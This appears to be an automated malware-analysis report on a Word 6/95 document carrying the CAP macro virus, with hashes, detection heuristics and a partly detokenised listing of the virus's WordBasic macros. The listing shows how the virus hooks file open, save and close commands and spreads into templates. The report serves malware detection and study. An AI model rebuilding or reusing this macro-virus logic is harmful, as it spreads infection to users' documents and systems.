Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c402c48fd3ca32b2…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2014-02-28
MD5: 57e0eb5971ba5a3927bcb4c490b9117f SHA-1: ec7d3d81be3b73baecba8f2b75ac4a5b85bd4db9 SHA-256: c402c48fd3ca32b2fd5d3b915d82796796716b19a655326e7555d0a4eafdee61
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.Cap-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Cap-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2319 bytes
SHA-256: ccb7a097fda0a20a4299bca810690cacff612eb3b55cbce976cc5e8939ac0928
Preview script
First 1,000 lines of the extracted script
, , = = = = = = = , = , 20325 21349 29551 17253 29551 21349 19827 21605 29793   25961
25964 25961 = =  
MAIN
REM C.A.P: Un virus social.. y ahora digital..
REM "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
REM Venezuela, Maracay, Dic 1996.
REM P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
M$ 9
S F$
, -
S$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$ 0 = "CAP"
M$ 3 = A$ = C$
M$ 5 = A$ = "Save"
M$ 2 = A$ = B$
M$ 9 = A$ = "Templates"
A$ = "Auto"
M$ 6 = M$ 5 = "As"
M$ 1 = A$ = B$
M$ 8 = A$ = "Exec"
M$ 4 = A$ = C$
M$ 7 = 2038 D$
M = 0
N = 0
T = 1 0 1
I = @cmd80b7 T 1 1
B$ = @cmd80b8 I , T
S$ = @cmd8008 @cmd80be B$ , 2
J = 0 9
B$ = M$ J
T N = N = 1   M = M = 1
J = 9
@cmd00d7 = B$ , = T = T = 1 ,
F$
M 10 N
@cmd00d1 = 0 , = 1 , = 1 , = "10"
I = 0 9
I 7 K = 1   K = 0
@cmd80c2 F$ = ":" = M$ I , M$ I , K
B$ = S$ = @cmd80ea @cmd8007 @cmd8006 @cmd800a @cmd80be M$ 7 , 3 = 1
@cmd00d7 = M$ 7 , = 1 , = B$ ,
A$ = @cmd8140 0 , 1
I = @cmd80b7 1 1 1
J = 0
B$ = @cmd80b8 I , 1
@cmd80be B$
S$ = "O"
J = 2
S$ = "C"
J = 3
S$ = "S"
J = 5
S$ = "SA"
J = 6
J
C$ = @cmd813e A$ , 0 , J
@cmd8008 @cmd80af C$ , @cmd8003 M$ J @cmd80af M$ J @cmd8008 C$ , 1 "(" @cmd80c2 F$ = ":" = B$ , C$ , K
T = 1
I = 0 1
I J = 1   J = 6
A$ = @cmd8140 I , J
J = @cmd8141 A$ , I 1
M = J 1 1
@cmd800f @cmd813e A$ , I , M , D$
I
B$ = @cmd813e A$ , I , M 2
@cmd80af B$ @cmd80af M$ 9 @cmd8008 B$ , 1 "(" @cmd80c2 M$ 9 , B$ , K
M = M = 1
T = M M 1 1
T 3 @cmd01b1 = I , + = T , = @cmd813e A$ , I , T , = = A$ , , = 0
M = 1
T = 0
T
I = 6 J
@cmd8008 @cmd813e A$ , 1 , I , 1 = "(" @cmd8008 @cmd813e A$ , 1 , I 2 , 1 = "("
T = 1 3 2
B$ = @cmd813e A$ , 1 , I T
@cmd8008 B$ , 1 "(" @cmd80c2 M$ T = 6 , B$ , K
I = J
D @cmd0054
D
N 10 D = 1 D = 0 D = 6
D = 1
I = @cmd80b7 0 1 1
B$ = @cmd80b8 I , 0
B$ M$ 7 K = 1   K = 0
@cmd80c2 B$ , F$ = ":" = B$ , K
@cmd0054 D
Err = 0
FO
, -
@cmd80d6
, - * E
D @cmd0050
D
D
@cmd0050 D
S D
FC
, -
@cmd80d6
S @cmd8025
@cmd80a0
FS
, -
@cmd80d6
, - * F
@cmd0053
S @cmd8025
FSA
, -
@cmd80d6
, - * G
D @cmd0054
D
D 1
D
@cmd0054 D
S D
T = @cmd803e
W$ = D
@cmd004f = @cmd8025
, - * H
D
D = W$
D
@cmd0054 D
, - * G
S D
T @cmd803e T = T = 1
@cmd80de T
@cmd80a0 2
MAIN
, -
@cmd80d6 0
CAP
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP @cmd8025
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP

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